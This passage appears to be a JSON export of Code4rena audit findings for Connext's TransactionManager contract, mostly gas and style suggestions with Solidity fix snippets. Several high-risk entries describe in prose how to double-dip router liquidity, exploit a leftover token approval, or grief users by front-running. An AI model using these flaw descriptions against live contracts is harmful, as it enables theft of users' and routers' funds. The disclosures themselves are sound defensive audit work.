\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| AaveV2 \u00b7 deposit \u00b7 - \u00b7 - \u00b7 278549 \u00b7 4 \u00b7 57.35 \u2502 +| AaveV2 \u00b7 deposit \u00b7 - \u00b7 - \u00b7 274205 \u00b7 4 \u00b7 56.53 \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| AaveV2 \u00b7 withdraw \u00b7 260005 \u00b7 294205 \u00b7 277105 \u00b7 2 \u00b7 57.05 \u2502 +| AaveV2 \u00b7 withdraw \u00b7 253692 \u00b7 287892 \u00b7 270792 \u00b7 2 \u00b7 55.82 \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| AaveV2 \u00b7 withdrawAll \u00b7 59690 \u00b7 275814 \u00b7 167752 \u00b7 2 \u00b7 34.54 \u2502 +| AaveV2 \u00b7 withdrawAll \u00b7 53349 \u00b7 267370 \u00b7 160360 \u00b7 2 \u00b7 33.06 \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 | Deployments \u00b7 \u00b7 % of limit \u00b7 \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| AaveV2 \u00b7 - \u00b7 - \u00b7 802248 \u00b7 6.4 % \u00b7 165.16 \u2502 +| AaveV2 \u00b7 - \u00b7 - \u00b7 762851 \u00b7 6.1 % \u00b7 157.26 \u2502 ``` ### Average Improvements | Function | Base | Immutable | Diff | |---------------|-----------|-----------|---------| | claimRewards | 417624 | 411313 | -1.53% | | deposit | 278549 | 274205 | -1.58% | | withdraw | 277105 | 270792 | -2.33% | | withdrawAll | 167752 | 160360 | -4.61% | | deployment | 802248 | 762851 | -5.16% | By removing the `public` keyword from all variables that are not required (which are only used in the unit tests), the deployment costs can be further reduced to `700206`, which is an 14.57% reduction in gas costs. ## Tools Used https://www.npmjs.com/package/hardhat-gas-reporter ## Recommended Mitigation Steps Add the `immutable` key word to all variables that are only set during the constructor. Add the `constant` modifier for `lpAddressProvider`. "}, {"title": "Cache storage variables to local variables to save gas", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle shw # Vulnerability details ## Impact In general, if a state variable is read more than once, caching its value to a local variable and reusing it will save gas since a storage read spends more gas than a memory write plus a memory read. ## Proof of Concept Referenced code: [TransactionManager.sol#L122-L125](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L122-L125) [TransactionManager.sol#L254-L260](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L254-L260) ## Recommended Mitigation Steps Rewrite #L122-L125 as follows: ```solidity uint256 balance = routerBalances[msg.sender][assetId]; require(balance >= amount, \"removeLiquidity: INSUFFICIENT_FUNDS\"); // Update router balances routerBalances[msg.sender][assetId] = balance - amount; ``` Rewrite #L254-L260 as follows: ```solidity uint256 balance = routerBalances[invariantData.router][invariantData.receivingAssetId]; require( balance >= amount, \"prepare: INSUFFICIENT_LIQUIDITY\" ); // Decrement the router liquidity routerBalances[invariantData.router][invariantData.receivingAssetId] = balance - amount; ``` "}, {"title": "Use the `unchecked` keyword to save gas", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle shw # Vulnerability details ## Impact Using the `unchecked` keyword to avoid redundant arithmetic underflow/overflow checks to save gas when an underflow/overflow cannot happen. ## Proof of Concept We can apply the `unchecked` keyword in the following lines of code since there are `require` statements before to ensure the arithmetic operations would not cause an integer underflow or overflow. Referenced code: [TransactionManager.sol#L125](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L125) [TransactionManager.sol#L260](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L260) [TransactionManager.sol#L364](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L364) [TransactionManager.sol#L520](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L520) ## Recommended Mitigation Steps For example, change the code at line 364 to: ```solidity unchecked { uint256 toSend = txData.amount - relayerFee; } ``` "}, {"title": "Deflationary and fee-on-transfer tokens are not correctly accounted", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle shw # Vulnerability details ## Impact When a router adds liquidity to the `TransactionManager`, the manager does not correctly handle the received amount if the transferred token is a deflationary or fee-on-transfer token. The actual received amount is less than that is recorded in the `routerBalances` variable. ## Proof of Concept Referenced code: [TransactionManager.sol#L97](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L97) [TransactionManager.sol#L101](https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L101) ## Recommended Mitigation Steps Get the received token amount by calculating the difference of token balance before and after the transfer, for example: ```solidity uint256 balanceBefore = getOwnBalance(assetId); require(LibERC20.transferFrom(assetId, router, address(this), amount, \"addLiquidity: ERC20_TRANSFER_FAILED\"); uint256 receivedAmount = getOwnBalance(assetId) - balanceBefore; // Update the router balances routerBalances[router][assetId] += receivedAmount; ``` "}, {"title": "Unchangeable chain ID information", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/66", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Unchangeable chain ID information"}, {"title": "Increment in the loop can be made unchecked", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Increment in the loop can be made unchecked"}, {"title": "Missing @param in fulfill NatSpec", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The currect implementation of NatSpec of fulfill function lacks @param callData ## Proof of Concept https://github.com/code-423n4/2021-07-connext/blob/main/contracts/TransactionManager.sol#L302 ## Tools Used Manual Analysis ## Recommended Mitigation Steps It's suggested to complete adding @param callData "}, {"title": "Optimizing the for loop", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Optimizing the for loop"}, {"title": "Revert strings", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Revert strings ### Consider using custom errors instead of revert strings Can save gas when the revert condition has been met. And also during runtime. ### Consider shortening revert strings to less than 32 bytes Revert strings more than 32 bytes require at least one additional `mstore`, along with additional operations for computing memory offset, etc. Even if you need a string to represent an error, it can usually be done in less than 32 bytes / characters. Here are some examples of strings that can be shortened from codebase: ``` txt ./contracts/TransactionManager.sol:96: \"addLiquidity: ETH_WITH_ERC_TRANSFER\" ./contracts/TransactionManager.sol:97: \"addLiquidity: ERC20_TRANSFER_FAILED\" ./contracts/TransactionManager.sol:122: \"removeLiquidity: INSUFFICIENT_FUNDS\" ``` Note that this will only decrease runtime gas when the revert condition has been met. Regardless, it will decrease deploy time gas. "}, {"title": "Relayer txs can be frontrunned", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/58", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Relayer txs can be frontrunned"}, {"title": "Don't ask for the user's signature when msg.sender == txData.user", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle pauliax # Vulnerability details ## Impact I think it would make sense not to check the user's signature in recoverCancelSignature or recoverFulfillSignature if the caller is the user himself. ## Recommended Mitigation Steps Replace: require(recoverCancelSignature(txData, relayerFee, signature) == txData.user, \"cancel: INVALID_SIGNATURE\"); require(recoverFulfillSignature(txData, relayerFee, signature) == txData.user, \"fulfill: INVALID_SIGNATURE\"); with: require(msg.sender == txData.user || recoverCancelSignature(txData, relayerFee, signature) == txData.user, \"cancel: INVALID_SIGNATURE\"); require(msg.sender == txData.user || recoverFulfillSignature(txData, relayerFee, signature) == txData.user, \"fulfill: INVALID_SIGNATURE\"); "}, {"title": "Refacotr: Reuse same code for hashVariantTransactionData with txData and when preparedBlockNumber is 0", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle GalloDaSballo # Vulnerability details ## Impact The code uses `hashVariantTransactionData` to verify the hash of the VariantTransactionData It also uses ``` variantTransactionData[digest] = keccak256(abi.encode(VariantTransactionData({ amount: txData.amount, expiry: txData.expiry, preparedBlockNumber: 0 }))); ``` To generate VariantTransactionData with `preparedBlockNumber` set to 0 A simple refactoring of: ``` function hashVariantTransactionData(TransactionData calldata txData) internal pure returns (bytes32) { return hashVariantTransaction(txData.amount, txData.expiry, txData.preparedBlockNumber) } function hashVariantTransaction(uint256 amount, uint256 expiry, uint256 prepareBlocNumber) internal pure returns (bytes32) { return keccak256(abi.encode(VariantTransactionData({ amount: amount, expiry: expiry, preparedBlockNumber: preparedBlockNumber }))); } ``` This would allow to further steamline the code from ``` variantTransactionData[digest] = keccak256(abi.encode(VariantTransactionData({ amount: txData.amount, expiry: txData.expiry, preparedBlockNumber: 0 }))); ``` to ``` variantTransactionData[digest] = hashVariantTransaction(txData.amount, txData.expiry, 0) ``` ## Recommended Mitigation Steps This has no particular benefit beside making all code related to Variant Data consistent "}, {"title": "Signatures use only tx ID instead of entire digest", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/54", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Signatures use only tx ID instead of entire digest"}, {"title": "An attacker can front-run a user\u2019s prepare() tx on sending chain to cause DoS by griefing", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/52", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "An attacker can front-run a user\u2019s prepare() tx on sending chain to cause DoS by griefing"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "Missing zero-address checks"}, {"title": "Lack of guarded launch approach may be risky", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/49", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The protocol appears to allow arbitrary assets, amounts and routers/users without an initial time-bounded whitelist of assets/routers/users or upper bounds on amounts. Also, there is no pause/unpause functionality. While this lack of ownership and control makes it completely permissionless, it is a risky design because if there are latent protocol vulnerabilities there is no fallback option. ## Proof of Concept Lack of owner, whitelisting, thresholds, pause/unpause in the protocol. See https://medium.com/electric-capital/derisking-defi-guarded-launches-2600ce730e0a ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider an initial guarded launch approach to owner-based whitelisting asset types, router/recipient addresses, amount thresholds and adding a pause/unpause functionality for emergency handling. The design should be able to make this owner configurable where the owner can renounce ownership at a later point when the protocol operation is sufficiently time-tested and deemed stable/safe. "}, {"title": "Anyone can arbitrarily add router liquidity", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/48", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Anyone can arbitrarily add router liquidity"}, {"title": "Expired transfers will lock user funds on the sending chain", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/47", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The cancelling relayer is being paid in receivingAssetId on the sendingChain instead of in sendingAssetID. If the user relies on a relayer to cancel transactions and that receivingAssetId asset does not exist on the sending chain (assuming only sendingAssetID on the sending chain and receivingAssetId on the receiving chain are assured to be valid and present) then the cancel transaction from the relayer will always revert and user\u2019s funds will remain locked on the sending chain. Impact: Expired transfers can never be cancelled and user funds will be locked forever if user relies on a relayer. ## Proof of Concept https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L510-L517 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change receivingAssetId to sendingAssetId in transferAsset() on L514. "}, {"title": "Router liquidity on receiving chain can be double-dipped by the user", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/46", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact During fulfill() on the receiving chain, if the user has set up an external contract at txData.callTo, the catch blocks for both IFulfillHelper.addFunds() and IFulfillHelper.excute() perform transferAsset to the predetermined fallback address txData.receivingAddress. If addFunds() has reverted earlier, toSend amount would already have been transferred to the receivingAddress. If execute() also fails, it is again transferred. Scenario: User sets up receiver chain txData.callTo contract such that both addFunds() and execute() calls revert and that will let him get twice the toSend amount credited to the receivingAddress. So effectively, Alice locks 100 tokenAs on chain A and can get 200 tokenAs (or twice the amount of any token she is supposed to get on chainB from the router), minus relayer fee, on chainB. Router liquidity is double-dipped by Alice and router loses funds. ## Proof of Concept https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L395-L409 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L413-L428 ## Tools Used Manual Analysis ## Recommended Mitigation Steps The second catch block for execute() should likely not have the transferAsset() call. It seems like a copy-and-paste bug unless there is some reason that is outside the specified scope and documentation for this contest. "}, {"title": "Checking non-zero value can avoid an external call to save gas", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle Jujic # Vulnerability details ## Impact Checking if `_amount != 0 ` before making the transfer call can save gas by avoiding the external call in such situations. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L201-L206 ``` function borrowValue(uint256 _amount, address _to) external onlyMarket override { debts[msg.sender] += _amount; totalDebt += _amount; IERC20(token).safeTransfer(_to, _amount); } ``` ## Tools Used Remix ## Recommended Mitigation Steps Add additional check for non zero ` _amount`. "}, {"title": "Evaluate security benefit vs gas usage trade-off for using nonreentrant modifier on different functions", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact While it may be considered extra-safe to have a nonreentrant modifier on all functions making any external calls even though they are to trusted contracts, when functions implement Checks-Effects-Interactions (CEI) pattern, it is helpful to evaluate the perceived security benefit vs gas usage trade-off for using nonreentrant modifier. Functions adhering to the CEI pattern may consider not having the nonreentrant modifier which does two SSTORES (getting more expensive with the London fork EIP-3529) to its _status state variable. Example 1: In addLiquidity(), by moving the updating of router balance on L101 to before the transfers from L92, the function would adhere to CEI pattern and could be evaluated to remove the nonreentrant modifier. Example 2: removeLiquidity() already adheres to CEI pattern and could be evaluated to remove the nonreentrant modifier. prepare() can be slightly restructured to follow CEI pattern as well. However, fulfill() and cancel() are risky with multiple external calls and its safer to leave the nonreentrant call at the expense of additional gas costs. Impact: Save gas by removing nonreentrant modifier if function is deemed to be reentrant safe. This can save gas costs of 2 SSTORES per function call that uses this modifier: _status SSTORE from 1 to 2 costs 5000 and _status SSTORE from 2 to 1 which costs 100 (because it was already accessed) which is significant at 5100 per call post-Berlin EIP-2929. ## Proof of Concept https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L92-L101 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate security benefit vs gas usage trade-off for using nonreentrant modifier on functions that may already be reentrant safe or do not need this protection. It may indeed be safe to leave this modifier (while accepting the gas impact) if such an evaluation is tricky or depends on assumptions. "}, {"title": "Consolidating library functions can save gas by preventing external calls", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact While code modularity is generally a good practice and creating libraries of functions commonly used across different contracts can increase maintainability and reduce contract deployment size/cost, it comes at the increased cost of gas usage at runtime because of the external calls. EIP-2929 in Berlin fork increased the gas costs of CALL* family opcodes to 2600. Making a delegatecall to a library function therefore costs 2600. Impact: A LibAsset.transferAsset() call from TransactionManager.sol makes LibERC20.transfer() call for ERC20 which in turn makes another external call to LibUtils.revertIfCallFailed() in wrapCall. So an ERC20 transfer effectively makes 3 additional (besides the ERC20 token contract function call assetId.call(..) external calls -> LibAsset -> LibERC20 -> LibUtils, which costs 2600*3 = 7800 gas. Combining these functions into a single library or making them all internal to TransactionManager.sol can convert these delegatecalls into JMPs to save gas. ## Proof of Concept https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/lib/LibAsset.sol#L58 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/lib/LibAsset.sol#L44 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/lib/LibERC20.sol#L64 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/lib/LibERC20.sol#L20 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L128 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L369 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L378 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L406 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L425 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L504 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L514 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L525 And other Lib* calls. ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider moving all the library functions internal to this contract or to a single library to save gas from external calls each of which costs 2600 gas. "}, {"title": "Checking before external library call can save 2600 gas", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact EIP-2929 in Berlin fork increased the gas costs of CALL* family opcodes to 2600. Making a delegatecall to a library function therefore costs 2600. LibUtils.revertIfCallFailed() reverts and passes on the revert string if the boolean argument is false. Instead, moving the checking of the boolean to the caller avoids the library call when the boolean is true, which is likely the case most of the time. ## Proof of Concept https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/lib/LibUtils.sol#L10-L19 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/lib/LibAsset.sol#L35 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/lib/LibERC20.sol#L20 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove the boolean parameter from revertIfCallFailed() and move the conditional check logic to the call sites. "}, {"title": "Using access lists can save gas due to EIP-2930 post-Berlin hard fork", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "Using access lists can save gas due to EIP-2930 post-Berlin hard fork"}, {"title": "Assignment of variables not needed", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Assignment of variables not needed"}, {"title": "MAX_TIMEOUT", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There is a MIN_TIMEOUT for the expiry but I think you should also introduce a MAX_TIMEOUT to avoid a scenario when, for example, expiry is set far in the future (e.g. 100 years) and one malicious side does not agree to fulfill or cancel the tx so the other side then has to wait and leave the funds locked for 100 years or so. ## Recommended Mitigation Steps Introduce a reasonable MAX_TIMEOUT. "}, {"title": "Approval is not reset if the call to IFulfillHelper fails", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/31", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Function fulfill first approves the callTo to transfer an amount of toSend tokens and tries to call IFulfillHelper but if the call fails it transfers these assets directly. However, in such case the approval is not reset so a malicous callTo can pull these tokens later: // First, approve the funds to the helper if needed if (!LibAsset.isEther(txData.receivingAssetId) && toSend > 0) { require(LibERC20.approve(txData.receivingAssetId, txData.callTo, toSend), \"fulfill: APPROVAL_FAILED\"); } // Next, call `addFunds` on the helper. Helpers should internally // track funds to make sure no one user is able to take all funds // for tx if (toSend > 0) { try IFulfillHelper(txData.callTo).addFunds{ value: LibAsset.isEther(txData.receivingAssetId) ? toSend : 0}( txData.user, txData.transactionId, txData.receivingAssetId, toSend ) {} catch { // Regardless of error within the callData execution, send funds // to the predetermined fallback address require( LibAsset.transferAsset(txData.receivingAssetId, payable(txData.receivingAddress), toSend), \"fulfill: TRANSFER_FAILED\" ); } } ## Recommended Mitigation Steps Approve should be placed inside the try/catch block or approval needs to be reset if the call fails. "}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/29", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Style issues that you may want to apply or reject, no impact on security. Grouping them together as one submission to reduce waste. Consider fixing or ignoring them, up to you. * I think the error message here should be \"NOT_EXPIRED\": require(incentive.expiry < block.timestamp, \"EXPIRED\"); * There are hardcoded magic numbers, e.g.: 5 weeks or 128. It would make code more readable and maintanable if you extract such numbers as constants, e.g.: uint public constant EXPIRY_BUFFER = 5 weeks; require(incentive.endTime + EXPIRY_BUFFER < incentive.expiry, \"END_PAST_BUFFER\"); "}, {"title": "txData.expiry = block.timestamp", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function fulfill treats txData.expiry = block.timestamp as expired tx: // Make sure the expiry has not elapsed require(txData.expiry > block.timestamp, \"fulfill: EXPIRED\"); However, function cancel has an inclusive check for the same condition: if (txData.expiry >= block.timestamp) { // Timeout has not expired and tx may only be cancelled by router ## Recommended Mitigation Steps Unify that to make the code coherent. Probably txData.expiry = block.timestamp should be treated 